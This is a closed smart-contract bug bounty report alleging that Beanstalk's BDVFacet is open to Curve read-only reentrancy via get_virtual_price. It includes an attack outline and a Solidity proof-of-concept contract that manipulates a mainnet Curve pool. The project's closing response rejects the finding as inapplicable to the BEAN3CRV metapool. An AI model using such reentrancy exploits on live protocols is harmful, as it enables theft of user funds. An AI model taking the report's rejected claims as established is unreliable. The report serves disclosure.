📄

Report #20625

Report Date
May 20, 2023
Status
Closed
Payout

BDVFacet is subject to Curve LP oracle manipulation via read-only reentrancy

Report Info

Report ID

#20625

Target

Report type

Smart Contract

Impacts

Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Has PoC?

Yes

Summary

The function getXP() in LibMetaCurve.sol call to get_virtual_price() which can return a deflated price when it is reentered after calling the Curve pool's remove_liquidity function. This allows an attacker to liquidate accounts that use the pool.

Bug Description

get_virtual_price gives the value of an LP token relative to the pool stable asset by dividing the total value of the pool by the totalSupply() of LP tokens:

@view
@external
def get_virtual_price() -> uint256:
    """
    @notice The current virtual price of the pool LP token
    @dev Useful for calculating profits
    @return LP token virtual price normalized to 1e18
    """
    D: uint256 = self.get_D(self._xp(self._stored_rates()), self._A())
    # D is in the units similar to DAI (e.g. converted to precision 1e18)
    # When balanced, D = n * x_u - total virtual value of the portfolio
    token_supply: uint256 = ERC20(self.lp_token).totalSupply()
    return D * PRECISION / token_supply

In the Curve pool function remove_liquidity when ETH is withdrawn, raw_call() allows the caller to reenter after the coin balances have been updated, but before the LP tokens are burned, so during the callback a reentrant call to get_virtual_price() will return a deflated value.

@external
@nonreentrant('lock')
def remove_liquidity(_amount: uint256, min_amounts: uint256[N_COINS]) -> uint256[N_COINS]:
    """
    @notice Withdraw coins from the pool
    @dev Withdrawal amounts are based on current deposit ratios
    @param _amount Quantity of LP tokens to burn in the withdrawal
    @param min_amounts Minimum amounts of underlying coins to receive
    @return List of amounts of coins that were withdrawn
    """
    _lp_token: address = self.lp_token
    total_supply: uint256 = ERC20(_lp_token).totalSupply()
    amounts: uint256[N_COINS] = empty(uint256[N_COINS])

    for i in range(N_COINS):
        _balance: uint256 = self.balances[i]
        value: uint256 = _balance * _amount / total_supply
        assert value >= min_amounts[i], "Withdrawal resulted in fewer coins than expected"
        self.balances[i] = _balance - value
        amounts[i] = value
        if i == 0:
            raw_call(msg.sender, b"", value=value)
        else:
            assert ERC20(self.coins[1]).transfer(msg.sender, value)

    CurveToken(_lp_token).burnFrom(msg.sender, _amount)  # Will raise if not enough

    log RemoveLiquidity(msg.sender, amounts, empty(uint256[N_COINS]), total_supply - _amount)

    return amounts

Impact

An attacker can exploit this by deploying a contract that does this:

get a large amount of ETH through a flashloan add_liquidity with the ETH borrowed Call remove_liquidity: during the callback raw_call() the Curve Oracle LP price is deflated due to large difference between Pool value and LP total supply.

    function getXP(
        uint256[2] memory balances,
        uint256 padding
    ) internal view returns (uint256[2] memory) {
        return LibCurve.getXP(
            balances,
            padding,
            C.curve3Pool().get_virtual_price()
        );
    }

LibMetaCurve.getXP() returns wrong value which is then used in LibBeanMetaCurve.bdv()

    /**
     * @param amount An amount of the BEAN:3CRV LP token.
     * @dev Calculates the current BDV of BEAN given the balances in the BEAN:3CRV
     * Metapool. NOTE: assumes that `balances[0]` is BEAN.
     */
    function bdv(uint256 amount) internal view returns (uint256) {
        // By using previous balances and the virtual price, we protect against flash loan
        uint256[2] memory balances = IMeta3Curve(C.CURVE_BEAN_METAPOOL).get_previous_balances();
        uint256 virtualPrice = C.curveMetapool().get_virtual_price();
        uint256[2] memory xp = LibMetaCurve.getXP(balances, RATE_MULTIPLIER);

        uint256 a = C.curveMetapool().A_precise();
        uint256 D = LibCurve.getD(xp, a);
        uint256 price = LibCurve.getPrice(xp, a, D, RATE_MULTIPLIER);
        uint256 totalSupply = (D * PRECISION) / virtualPrice;
        uint256 beanValue = balances[0].mul(amount).div(totalSupply);
        uint256 curveValue = xp[1].mul(amount).div(totalSupply).div(price);

        return beanValue.add(curveValue);
    }

The value of price will be erroneous from the computation of getPrice('wrong xp')

 uint256 price = LibCurve.getPrice(xp, a, D, RATE_MULTIPLIER);

and therefore the value of curveValue,

  uint256 curveValue = xp[1].mul(amount).div(totalSupply).div(price);

and the return value of bdv()

return beanValue.add(curveValue);

Please note that the value of virtualPrice can also be manipulated as it also calls the function get_virtual_price() from curveMetapool().

uint256 virtualPrice = C.curveMetapool().get_virtual_price();

The returned value of LibBeanMetaCurve.bdv() is then used in BDVFacet.unripeLPToBDV()

function unripeLPToBDV(uint256 amount) public view returns (uint256) {
        amount = LibUnripe.unripeToUnderlying(C.UNRIPE_LP, amount);
        amount = LibBeanMetaCurve.bdv(amount);
        return amount;
    }

the return value is then used in the following BDVFacet.bdv() function:

    function bdv(address token, uint256 amount)
        external
        view
        returns (uint256)
    {
	  if (token == C.BEAN) return beanToBDV(amount);
        else if (token == C.CURVE_BEAN_METAPOOL) return curveToBDV(amount);
        else if (token == C.UNRIPE_BEAN) return unripeBeanToBDV(amount);
        else if (token == C.UNRIPE_LP) return unripeLPToBDV(amount);
        revert("BDV: Token not whitelisted");
    }

The LP token price is less than the actual price so collateral will be underestimated.

Attacker profits from the liquidations of any account that use this pool.

Execution after raw_call() in remove_liquidity resumes, LP tokens are burned

Repay loan + fee

Note that the function get_virtual_price() is also called in LibIncentive.getRates() twhich can also be manipulated.

    function getRates() private view returns (uint256[2] memory) {
        // Decimals will always be 6 because we can only mint beans
        // 10**(36-decimals)
        return [1e30, C.curve3Pool().get_virtual_price()];
    }

Funds at Risk

A previous proposal in 'Beanstalk Bug Bounty' allows to estimate the value of funds at risk, expecially: '*There's no liquid market for the BEAN3CRV LP token itself, so the current BDV is used to estimate the value. **There's no liquid market for Unripe assets, so the Chop Penalty is used to estimate the value of these tokens.'

The funds at risk in this case is similar as the previous one (BIR-3): 'The number of Beans at risk roughly equates to the value that could have been removed from the BEAN:3CRV liquidity pool.'

I don't have the exact number of tokens as of today but I think the estimated value of funds at risk are in the same range (around $3m), I will let the team to do the math with the right numbers.

Risk Breakdown

Difficulty to Exploit: Medium Weakness: CVSS2 Score:

Recommendation

A solution implemented by many protocols is to add a call to a pool non reentrant function inside the oracle, like this:

    function getXP(
        uint256[2] memory balances,
        uint256 padding
    ) internal view returns (uint256[2] memory) {
+       uint256[2] calldata amounts;
+       ICurvePool(token).remove_liquidity(0, amounts);
        return LibCurve.getXP(
            balances,
            padding,
            C.curve3Pool().get_virtual_price()
        );
    }

Note that the call to remove_liquidity will succeed but won't remove any liquidity if the pool is not reentered. It will revert if the pool is reentered because of the @nonreentrant('lock') decorator on remove_liquidity.

References

Proof of concept

Below a simulation showing how to achieve the Virtual Price Manipulation. Because of the price manipulation, an attacker can trigger unfair liquidations to his advantage.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;


import {IERC20} from "@oz/token/ERC20/IERC20.sol";
import {SafeERC20} from "@oz/token/ERC20/utils/SafeERC20.sol";
import {ReentrancyGuard} from "@oz/security/ReentrancyGuard.sol";

interface IAccount {
  function getAssets() external view returns (address[] memory);
  function getBorrows() external view returns (address[] memory);
}

interface ICurvePool {
  function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external payable returns (uint256);
  function remove_liquidity(uint256 amount, uint256[2] memory min_amounts) external returns (uint256);
  function get_virtual_price() external view returns (uint256);
}

interface ILP {
  function balanceOf(address) external view returns (uint256);
}

contract VirtualPriceManip {
  ICurvePool POOL = ICurvePool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
  ILP LP = ILP(0xDbcD16e622c95AcB2650b38eC799f76BFC557a0b);
  ILP WSTETH = ILP(0x5979D7b546E38E414F7E9822514be443A4800529);
  // Get WETH

  // Check Virtual Price

  // Deposit into Curve

  // Check Virtual Price

  // Withdraw, and ReEnter

  // Check Virtual Price

  // End, Check Virtual Price

  event Debug(string name, uint256 value);

  function fakeXPPrice() internal returns (uint256){
    uint256 FAKE_WETH_PRICE = 1e18;
    return FAKE_WETH_PRICE * POOL.get_virtual_price() / 1e18;
  }

  function startAttack() external payable {
    uint256 amt = msg.value;

    // 1. Check Virtual Price
    emit Debug("Virtual Price 1", POOL.get_virtual_price());
    emit Debug("fakeXPPrice 1", fakeXPPrice());

    // 2. Curve deposit
    uint256[2] memory dep = [amt, 0];
    POOL.add_liquidity{value: amt}(dep, 1);

    // 3. Check Virtual Price
    emit Debug("Virtual Price 3", POOL.get_virtual_price());
    emit Debug("fakeXPPrice 3", fakeXPPrice());

    // 4. Curve Withdraw
    // TODO: This is where profit maximization math will be necessary
    uint256[2] memory dep2 = [uint256(0), uint256(0)];
    POOL.remove_liquidity(LP.balanceOf(address(this)), dep2);

    // 6. Check Virtual Price
    emit Debug("Virtual Price 6", POOL.get_virtual_price());
    emit Debug("fakeXPPrice 6", fakeXPPrice());

    // TODO: Check loss in ETH and compare vs wstETH we now have
    // Loss is there, but should be marginal / imbalance + fees
    emit Debug("Msg.value", msg.value);
    emit Debug("This Balance", address(this).balance);
    emit Debug("Delta", msg.value - address(this).balance);

    emit Debug("WstEthBalance", WSTETH.balanceOf(address(this)));
  }

  receive() external payable {
    // 5. Reenter here

    // Check Virtual Price
    emit Debug("Virtual Price 5", POOL.get_virtual_price());
    emit Debug("fakeXPPrice 5", fakeXPPrice());
  }
}

BIC Response

The code snippet references this line in Curve: raw_call(msg.sender, b"", value=value). This logic is only used in certain Curve pools, none of which are the metapool template used for the BEAN3CRV pool: https://github.com/search?q=repo%3Acurvefi%2Fcurve-contract%20raw_call(msg.sender%2C%20b%22%22%2C%20value%3Dvalue)&type=code.

Given this, it does not appear to be possible for this vulnerability to surface in standard Curve metapools. The POC also does not call Beanstalk at any point.

Due to these reasons, we are re-closing the submission and no reward will be issued.